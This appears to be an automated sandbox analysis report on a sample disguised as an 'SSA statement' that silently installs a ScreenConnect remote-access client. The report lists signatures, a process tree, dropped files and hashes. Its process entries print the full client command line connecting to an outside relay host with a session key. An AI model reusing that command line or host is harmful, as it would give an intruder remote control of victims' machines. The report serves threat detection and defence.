Analysis

  • max time kernel
    118s
  • max time network
    132s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    11/11/2024, 16:18

General

  • Target
    SSA-Statement.Client.exe
  • Size 84KB
  • Sample241111-trx78avjer
  • SHA256 482b0ab3d3ecd3f023dec082486ca7a166dd9141dda8cf609420c8affda26510
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Downloads MZ/PE file
  • Manipulates Digital Signatures 1 TTPs 4 IoCs

    Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to obtain their binary as valid.

  • Sets service image path in registry 2 TTPs 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 16 IoCs
  • Drops file in System32 directory 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 3 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SSA-Statement.Client.exe
    "C:\Users\Admin\AppData\Local\Temp\SSA-Statement.Client.exe"
    1⤵
    • Manipulates Digital Signatures
    • System Location Discovery: System Language Discovery
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:2772
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
      2⤵
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2872
      • C:\Users\Admin\AppData\Local\Apps\2.0\QQQ0ZARV.O42\6JPJPVAH.P8M\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\ScreenConnect.WindowsClient.exe
        "C:\Users\Admin\AppData\Local\Apps\2.0\QQQ0ZARV.O42\6JPJPVAH.P8M\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\ScreenConnect.WindowsClient.exe"
        3⤵
        • Executes dropped EXE
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:632
        • C:\Users\Admin\AppData\Local\Apps\2.0\QQQ0ZARV.O42\6JPJPVAH.P8M\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\ScreenConnect.ClientService.exe
          "C:\Users\Admin\AppData\Local\Apps\2.0\QQQ0ZARV.O42\6JPJPVAH.P8M\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\ScreenConnect.ClientService.exe" "?y=Guest&h=cdwe.sti1ureedn0reoa.de&p=5832&s=9f1abc6a-7e1d-4f39-a6d3-127997075d21&k=BgIAAACkAABSU0ExAAgAAAEAAQBVXsSEc%2bx9uXD3C%2f7hA6k%2bCkYq8qNt9ddXTDuk6xtcDXcigKgagdDrv%2fcdVObs%2b5PsIEqa3J7G2KVNlw%2fruJmp5gWKLUA7CGK0M2xYP%2fnHrh8PGKb6APgX8%2bMmK%2fRI%2fuG1ObyHzrZSA2zDxqMWtbhBTbrYOR9GzyZRtT2sHBbUlx41DAcKHlRcqgqrm7UWwNY1mXMg1RfS2uCkTVjdU3GL7AKxo9LZAF%2bNZ31xMPej0IfTdjxJIuBFFPQhiLUl3MrrnM%2bcDzOJ4R5qzkEDJux1InHPO4447uQgY2C%2fpH9XXbyUJCVvgFFCPS5LSQJiQ7CvgPW3fKiAsEahrr56vu2y&r=&i=Untitled%20Session" "1"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:1492
  • C:\Users\Admin\AppData\Local\Apps\2.0\QQQ0ZARV.O42\6JPJPVAH.P8M\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\ScreenConnect.ClientService.exe
    "C:\Users\Admin\AppData\Local\Apps\2.0\QQQ0ZARV.O42\6JPJPVAH.P8M\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\ScreenConnect.ClientService.exe" "?y=Guest&h=cdwe.sti1ureedn0reoa.de&p=5832&s=9f1abc6a-7e1d-4f39-a6d3-127997075d21&k=BgIAAACkAABSU0ExAAgAAAEAAQBVXsSEc%2bx9uXD3C%2f7hA6k%2bCkYq8qNt9ddXTDuk6xtcDXcigKgagdDrv%2fcdVObs%2b5PsIEqa3J7G2KVNlw%2fruJmp5gWKLUA7CGK0M2xYP%2fnHrh8PGKb6APgX8%2bMmK%2fRI%2fuG1ObyHzrZSA2zDxqMWtbhBTbrYOR9GzyZRtT2sHBbUlx41DAcKHlRcqgqrm7UWwNY1mXMg1RfS2uCkTVjdU3GL7AKxo9LZAF%2bNZ31xMPej0IfTdjxJIuBFFPQhiLUl3MrrnM%2bcDzOJ4R5qzkEDJux1InHPO4447uQgY2C%2fpH9XXbyUJCVvgFFCPS5LSQJiQ7CvgPW3fKiAsEahrr56vu2y&r=&i=Untitled%20Session" "1"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2704
    • C:\Users\Admin\AppData\Local\Apps\2.0\QQQ0ZARV.O42\6JPJPVAH.P8M\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\ScreenConnect.WindowsClient.exe
      "C:\Users\Admin\AppData\Local\Apps\2.0\QQQ0ZARV.O42\6JPJPVAH.P8M\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\ScreenConnect.WindowsClient.exe" "RunRole" "91cd5336-09b9-4b80-a98b-ee0692cdede0" "User"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious behavior: AddClipboardFormatListener
      PID:2596

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        scre...exe_25b0fbb6ef7eb094_0017.0002_none_a93db4211b84e004.cdf-ms

        • Path C:\Users\Admin\AppData\Local\Apps\2.0\QQQ0ZARV.O42\6JPJPVAH.P8M\manifests\scre...exe_25b0fbb6ef7eb094_0017.0002_none_a93db4211b84e004.cdf-ms
        • Size 23KB
        • SHA256 786fa26cc5a4348381da9ae0f6f4690dc8b8ae9cf4c43f1ba1bcf738f5f8c8c8
        • MD5 SHA1 SHA512 SSDEEP

        scre..core_4b14c015c87c1ad8_0017.0002_none_64a715acd74fe178.cdf-ms

        • Path C:\Users\Admin\AppData\Local\Apps\2.0\QQQ0ZARV.O42\6JPJPVAH.P8M\manifests\scre..core_4b14c015c87c1ad8_0017.0002_none_64a715acd74fe178.cdf-ms
        • Size 3KB
        • SHA256 954d54273f32a72ae0c907e950b9f018044f06c3e5d06ba926769a4cc528d118
        • MD5 SHA1 SHA512

        scre..dows_4b14c015c87c1ad8_0017.0002_none_691eed8e139df4a8.cdf-ms

        • Path C:\Users\Admin\AppData\Local\Apps\2.0\QQQ0ZARV.O42\6JPJPVAH.P8M\manifests\scre..dows_4b14c015c87c1ad8_0017.0002_none_691eed8e139df4a8.cdf-ms
        • Size 5KB
        • SHA256 d1dfea5fdf7076e941d079876d576005d1ce535ae1f42d4ef5d8699ed04c0400
        • MD5 SHA1 SHA512 SSDEEP

        scre..ient_4b14c015c87c1ad8_0017.0002_none_c5edeed0c033c485.cdf-ms

        • Path C:\Users\Admin\AppData\Local\Apps\2.0\QQQ0ZARV.O42\6JPJPVAH.P8M\manifests\scre..ient_4b14c015c87c1ad8_0017.0002_none_c5edeed0c033c485.cdf-ms
        • Size 6KB
        • SHA256 9a3c85c608fa88c45226bdc5b1d16f3436d7fe9d8984538435843b3eea985b60
        • MD5 SHA1 SHA512 SSDEEP

        scre..ient_4b14c015c87c1ad8_0017.0002_none_fabc737ee69f377c.cdf-ms

        • Path C:\Users\Admin\AppData\Local\Apps\2.0\QQQ0ZARV.O42\6JPJPVAH.P8M\manifests\scre..ient_4b14c015c87c1ad8_0017.0002_none_fabc737ee69f377c.cdf-ms
        • Size 2KB
        • SHA256 bd0648ce35783355d0e0575d48f641d70182109817d9791e3a196cb270d947b9
        • MD5 SHA1 SHA512

        scre..tion_25b0fbb6ef7eb094_0017.0002_none_4a31edb78203a9e7.cdf-ms

        • Path C:\Users\Admin\AppData\Local\Apps\2.0\QQQ0ZARV.O42\6JPJPVAH.P8M\manifests\scre..tion_25b0fbb6ef7eb094_0017.0002_none_4a31edb78203a9e7.cdf-ms
        • Size 14KB
        • SHA256 baf8172a4d75fcd4e4e72a7c19f723762745ff32c8dc09efde2c9c69b1673852
        • MD5 SHA1 SHA512 SSDEEP

        scre..vice_4b14c015c87c1ad8_0017.0002_none_15faadf56d0f44e3.cdf-ms

        • Path C:\Users\Admin\AppData\Local\Apps\2.0\QQQ0ZARV.O42\6JPJPVAH.P8M\manifests\scre..vice_4b14c015c87c1ad8_0017.0002_none_15faadf56d0f44e3.cdf-ms
        • Size 4KB
        • SHA256 75306c7889a627d71b398db0d5b15d53c3c056c09c589e1716524bdc28edbf08
        • MD5 SHA1 SHA512 SSDEEP

        ScreenConnect.ClientService.exe

        • Path C:\Users\Admin\AppData\Local\Apps\2.0\QQQ0ZARV.O42\6JPJPVAH.P8M\scre...exe_25b0fbb6ef7eb094_0017.0002_none_a93db4211b84e004\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 72b206d8c2ea0378f096c5e7c13022f67a0a0f670a10c1534b6f7a1ba95e8be6
        • MD5 SHA1 SHA512 SSDEEP

        ScreenConnect.WindowsBackstageShell.exe

        • Path C:\Users\Admin\AppData\Local\Apps\2.0\QQQ0ZARV.O42\6JPJPVAH.P8M\scre...exe_25b0fbb6ef7eb094_0017.0002_none_a93db4211b84e004\ScreenConnect.WindowsBackstageShell.exe
        • Size 52KB
        • SHA256 a2409879344f21a45175a17f857b4c027087200f4892810994715a189f2a6280
        • MD5 SHA1 SHA512 SSDEEP

        Client.Override.en-US.resources

        • Path C:\Users\Admin\AppData\Local\Apps\2.0\QQQ0ZARV.O42\6JPJPVAH.P8M\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\Client.Override.en-US.resources
        • Size 343B
        • SHA256 12191483feb8db21c4b7ecd039be74de31710326b9ff1466d9bd6f53329259f6
        • MD5 SHA1 SHA512

        Client.Override.resources

        • Path C:\Users\Admin\AppData\Local\Apps\2.0\QQQ0ZARV.O42\6JPJPVAH.P8M\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\Client.Override.resources
        • Size 32KB
        • SHA256 bae2628f861455f9ae162ebb4599ea04c84f28326f687c489fb51017f5424dcd
        • MD5 SHA1 SHA512 SSDEEP

        Client.en-US.resources

        • Path C:\Users\Admin\AppData\Local\Apps\2.0\QQQ0ZARV.O42\6JPJPVAH.P8M\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\Client.en-US.resources
        • Size 47KB
        • SHA256 a023527e773b886fb64c5f31de484f659c5816cf4ab696be7c98a3ea4de57d41
        • MD5 SHA1 SHA512 SSDEEP

        Client.resources

        • Path C:\Users\Admin\AppData\Local\Apps\2.0\QQQ0ZARV.O42\6JPJPVAH.P8M\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\Client.resources
        • Size 26KB
        • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
        • MD5 SHA1 SHA512 SSDEEP

        app.config

        • Path C:\Users\Admin\AppData\Local\Apps\2.0\QQQ0ZARV.O42\6JPJPVAH.P8M\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\app.config
        • Size 2KB
        • SHA256 ae5fc34ccd25c235997ed61a6a7b00440f171baee6fb0d638073744858d8ea2e
        • MD5 SHA1 SHA512

        user.config

        • Path C:\Users\Admin\AppData\Local\Apps\2.0\QQQ0ZARV.O42\6JPJPVAH.P8M\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\user.config
        • Size 573B
        • SHA256 3bc225f8511596128f99eff51288a676e79d2ecc409ae30232287e602c75e4d5
        • MD5 SHA1 SHA512

        Cab5015.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\Cab5015.tmp
        • Size 70KB
        • SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
        • MD5 SHA1 SHA512 SSDEEP

        0N8QGTK0.J9T.application

        • Path C:\Users\Admin\AppData\Local\Temp\Deployment\J5CO4E6L.5G6\0N8QGTK0.J9T.application
        • Size 156KB
        • SHA256 9ba8267a16a16228ff01a9b3aa5648b1ef4d8a99326dfcdcbeb3d20bfdc7e958
        • MD5 SHA1 SHA512 SSDEEP

        ScreenConnect.Client.dll

        • Path C:\Users\Admin\AppData\Local\Temp\Deployment\O9LXRMHJ.GP9\VZZAO5RA.0KM\ScreenConnect.Client.dll
        • Size 177KB
        • SHA256 3b0cd76c1d949d6d6e4073c73e637c531bac18827f9ec02a6be6c5e6bbcfe368
        • MD5 SHA1 SHA512 SSDEEP

        ScreenConnect.Client.dll.genman

        • Path C:\Users\Admin\AppData\Local\Temp\Deployment\O9LXRMHJ.GP9\VZZAO5RA.0KM\ScreenConnect.Client.dll.genman
        • Size 1KB
        • SHA256 cb49febfd0fd89f843f7d44d64fbfd94dd23d71a19cd19a24453799d2e830a89
        • MD5 SHA1 SHA512

        ScreenConnect.ClientService.dll

        • Path C:\Users\Admin\AppData\Local\Temp\Deployment\O9LXRMHJ.GP9\VZZAO5RA.0KM\ScreenConnect.ClientService.dll
        • Size 58KB
        • SHA256 43bbdb1c62d021a137e51cfb23241d3765089f98042e2a12a0b1449647290135
        • MD5 SHA1 SHA512 SSDEEP

        ScreenConnect.ClientService.dll.genman

        • Path C:\Users\Admin\AppData\Local\Temp\Deployment\O9LXRMHJ.GP9\VZZAO5RA.0KM\ScreenConnect.ClientService.dll.genman
        • Size 1KB
        • SHA256 19793a0f7348c3ad051e370d3af533fe2d105b2187eaeab9bce49be9ac77c8d7
        • MD5 SHA1 SHA512

        ScreenConnect.Core.dll

        • Path C:\Users\Admin\AppData\Local\Temp\Deployment\O9LXRMHJ.GP9\VZZAO5RA.0KM\ScreenConnect.Core.dll
        • Size 489KB
        • SHA256 3b0c45370ca9295881ef5e9d14402c42dfb45803f54d542e6a7e595a05f365a1
        • MD5 SHA1 SHA512 SSDEEP

        ScreenConnect.Core.dll.genman

        • Path C:\Users\Admin\AppData\Local\Temp\Deployment\O9LXRMHJ.GP9\VZZAO5RA.0KM\ScreenConnect.Core.dll.genman
        • Size 1KB
        • SHA256 823258438816ec648dcb31d800c1b085a303b85c2c2f43dbbf7958949e1db8f9
        • MD5 SHA1 SHA512

        ScreenConnect.Windows.dll

        • Path C:\Users\Admin\AppData\Local\Temp\Deployment\O9LXRMHJ.GP9\VZZAO5RA.0KM\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 05e78416a344f74095e36ff14baa719867e9e163e1ae9a96c29df8615748b0ae
        • MD5 SHA1 SHA512 SSDEEP

        ScreenConnect.Windows.dll.genman

        • Path C:\Users\Admin\AppData\Local\Temp\Deployment\O9LXRMHJ.GP9\VZZAO5RA.0KM\ScreenConnect.Windows.dll.genman
        • Size 1KB
        • SHA256 293e2eafed2e158baa0e2c7c855ad68618b7fef29fbc799aa0bdf551e2c93300
        • MD5 SHA1 SHA512

        ScreenConnect.WindowsClient.exe

        • Path C:\Users\Admin\AppData\Local\Temp\Deployment\O9LXRMHJ.GP9\VZZAO5RA.0KM\ScreenConnect.WindowsClient.exe
        • Size 561KB
        • SHA256 6bd3ab0299b3826e476461caf1244e672d9f12858243921beb3939134618b790
        • MD5 SHA1 SHA512 SSDEEP

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Users\Admin\AppData\Local\Temp\Deployment\O9LXRMHJ.GP9\VZZAO5RA.0KM\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512

        ScreenConnect.WindowsClient.exe.genman

        • Path C:\Users\Admin\AppData\Local\Temp\Deployment\O9LXRMHJ.GP9\VZZAO5RA.0KM\ScreenConnect.WindowsClient.exe.genman
        • Size 2KB
        • SHA256 b08049bd6006e44ec8ecb301cfde944ca29572a783cb8aee59a0accef2e9bab4
        • MD5 SHA1 SHA512

        ScreenConnect.WindowsClient.exe.manifest

        • Path C:\Users\Admin\AppData\Local\Temp\Deployment\O9LXRMHJ.GP9\VZZAO5RA.0KM\ScreenConnect.WindowsClient.exe.manifest
        • Size 16KB
        • SHA256 6bb1c1aa5663ad33eda2256037da8e7439502c206d4c0047270a2fd1f006bb50
        • MD5 SHA1 SHA512 SSDEEP

        Tar5047.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\Tar5047.tmp
        • Size 181KB
        • SHA256 8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
        • MD5 SHA1 SHA512 SSDEEP

        memory/632-364-0x0000000000550000-0x00000000005D0000-memory.dmp

        memory/632-361-0x0000000000E80000-0x0000000000F10000-memory.dmp

        memory/632-366-0x000000001BB40000-0x000000001BCE0000-memory.dmp

        memory/1492-394-0x0000000000460000-0x0000000000474000-memory.dmp

        memory/1492-400-0x0000000002060000-0x00000000020E0000-memory.dmp

        memory/1492-397-0x0000000000460000-0x0000000000474000-memory.dmp

        memory/2596-426-0x00000000002B0000-0x00000000002C4000-memory.dmp

        memory/2596-425-0x00000000002A0000-0x00000000002B4000-memory.dmp

        memory/2596-422-0x000000001B300000-0x000000001B4A0000-memory.dmp

        memory/2596-421-0x0000000000240000-0x0000000000272000-memory.dmp

        memory/2596-420-0x00000000012F0000-0x0000000001380000-memory.dmp

        memory/2704-414-0x00000000004C0000-0x00000000004F2000-memory.dmp

        memory/2704-411-0x0000000003AC0000-0x0000000003C60000-memory.dmp

        memory/2872-93-0x0000000000F60000-0x0000000000F92000-memory.dmp

        memory/2872-67-0x000007FEF6500000-0x000007FEF6EEC000-memory.dmp

        memory/2872-0-0x000007FEF6503000-0x000007FEF6504000-memory.dmp

        memory/2872-87-0x000000001B980000-0x000000001BA10000-memory.dmp

        memory/2872-149-0x000000001B080000-0x000000001B100000-memory.dmp

        memory/2872-99-0x000000001B080000-0x000000001B100000-memory.dmp

        memory/2872-75-0x000000001FBA0000-0x000000001FD40000-memory.dmp

        memory/2872-82-0x0000000000EB0000-0x0000000000EC4000-memory.dmp

        memory/2872-66-0x000007FEF6503000-0x000007FEF6504000-memory.dmp

        memory/2872-2-0x000007FEF6500000-0x000007FEF6EEC000-memory.dmp

        memory/2872-118-0x000000001B980000-0x000000001BA10000-memory.dmp

        memory/2872-132-0x0000000000EB0000-0x0000000000EC4000-memory.dmp

        memory/2872-137-0x000000001B980000-0x000000001BA10000-memory.dmp

        memory/2872-143-0x0000000000F60000-0x0000000000F92000-memory.dmp

        memory/2872-125-0x000000001C820000-0x000000001C9C0000-memory.dmp

        memory/2872-1-0x00000000010F0000-0x00000000010F8000-memory.dmp